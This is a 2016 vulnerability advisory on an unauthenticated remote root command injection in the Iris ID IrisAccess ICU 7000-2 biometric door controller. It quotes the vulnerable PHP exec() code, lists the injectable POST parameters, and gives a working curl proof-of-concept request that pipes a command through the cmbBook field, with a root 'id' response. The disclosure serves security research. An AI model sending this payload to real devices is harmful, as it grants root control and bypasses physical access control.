Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution

2016.07.27
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution Vendor: Iris ID, Inc. Product web page: http://www.irisid.com http://www.irisid.com/productssolutions/hardwareproducts/icu-7000-2/ Affected version: ICU Software: 1.00.08 ICU OS: 1.3.8 ICU File system: 1.3.8 EIF Firmware [Channel 1]: 1.9 EIF Firmware [Channel 2]: 1.9 Iris TwoPi: 1.4.5 Summary: The ICU 7000-2 is an optional component used when the client requires iris template data to be matched on the secure side of the door. When using ICU no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal operation can continue if the there is an interruption in communication with the host computer. In such circumstances, the ICU retains the records of portal activity, then automatically updates the host upon resumption of host communication. Every ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users. Desc: The Iris ID IrisAccess ICU 7000-2 device suffers from an unauthenticated remote command execution vulnerability. The vulnerability exist due to several POST parameters in the '/html/SetSmarcardSettings.php' script not being sanitized when using the exec() PHP function while updating the Smart Card Settings on the affected device. Calling the '$CommandForExe' variable which is set to call the '/cgi-bin/setsmartcard' CGI binary with the affected parameters as arguments allows the attacker to execute arbitrary system commands as the root user and bypass the biometric access control in place. ===================================================================================== /html/SetSmarCardSettings.php: ------------------------------ 53: <?php 54: $ChNo = $_POST['HidChannelID']; 55: if(0 == $ChNo ) 56: echo "1"; 57: else 58: echo $ChNo; 59: ?> 61: <?php 62: echo "<input type = "hidden" name="HidChannelID" value="$ChNo">"; 63: echo "<input type="hidden" name="ssid" value="1234">" 64: ?> 81: <td class="menuMain">Smart Card Settings</td> 88: <!-- Content: BOF --> 97: <?php 99: $FileAvaToUpload = $_POST['HidIsFileSelect']; 100: //echo "<br>File availabe is: "; 101: //echo $FileAvaToUpload; 102: //echo "<br>"; 104: $BookVal = $_POST['cmbBook']; 105: //echo "<br>BookVal is "; 106: //echo $BookVal; 108: //echo "<br>Channel value is "; 109: //echo $ChNo; 111: $OffSet = $_POST['txtOffSet']; 112: //echo "<br>Offset is "; 113: //echo $OffSet; 115: $DataFormat = $_POST['DataFormat']; 117: //echo "<br>DataFormat is "; 118: //echo $DataFormat; 120: $EncryptAlg = $_POST['EncryAlg']; 122: if(0 == $DataFormat ) 123: $EncryptAlg = 4; 125: //echo "<br>Encryption Algarithm is "; 126: //echo $EncryptAlg; 128: $UseAsProxyCard = $_POST['chkUseAsProxCard']; 129: if( "" == $UseAsProxyCard ) 130: $UseAsProxyCard = "0"; 132: //echo "<br>Use as ProxyCard is "; 133: //echo $UseAsProxyCard; 135: $target_dir = "/tmp/temp_SmartCardKey"; 137: //$target_dir = $target_dir . basename( $_FILES["file1"]["name"]); 139: if(1 == $FileAvaToUpload ) { 140: if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_dir)) { 141: //echo "The file ". basename( $_FILES["file1"]["name"]). " has been uploaded."; 142: } else { 143: //echo "Sorry, there was an error uploading your file."; 144: } 145: } 147: $out = null; 148: $rc= 0; 149: $CommandForExe = "../cgi-bin/setsmartcard $ChNo $BookVal $OffSet $DataFormat $EncryptAlg $UseAsProxyCard $FileAvaToUpload"; 150: //$CommandForExe = "../cgi-bin/setsmartcard 1 0 10 1 1 0"; 151: echo exec($CommandForExe, $out, $rc); 153: //print_r( $out); 154: //echo 'rc = '.$rc."\n"; 156: //echo "After calling binary"; 158: //echo "Return value is: "; 159: //echo $rc; 160: //echo $out; 162: $sICUVersion = $_POST['HidVerForPHP']; 163: ?> ===================================================================================== Vulnerable parameters: DataFormat EncryAlg HidChannelID HidIsFileSelect cmbBook txtOffSet Tested on: GNU/Linux 3.0.51 (armv7l) mylighttpd v1.0 PHP/5.5.13 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5346 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5346.php 06.05.2016 -- Request (cmbBook=0|id #): ------------------------- [lqwrm@lalaland /]# curl -i -s -k -X 'POST' -H 'User-Agent: joxypoxy/7.2.6' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'HidChannelID=2&HidcmbBook=0&cmbBook=0|id+%23&HidDisOffSet=13&txtOffSet=37&HidDataFormat=1&HidDataFormatVal=1&DataFormat=1&HidFileAvailable=0&HidEncryAlg=0&EncryAlg=0&HidFileType=0&HidIsFileSelect=0&HidUseAsProxCard=0&HidVerForPHP=1.00.08\x0d\x0a' 'http://[TARGET]/html/SetSmarcardSettings.php' Response: --------- HTTP/1.1 200 OK X-Powered-By: PHP/5.5.13 Content-type: text/html Connection: close Date: Thu, 09 May 2016 14:40:39 GMT Server: mylighttpd v1.0 Content-Length: 11660 ... </tr> uid=0(root) gid=0(root) <tr> <td colspan="2"> ...

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5346.php


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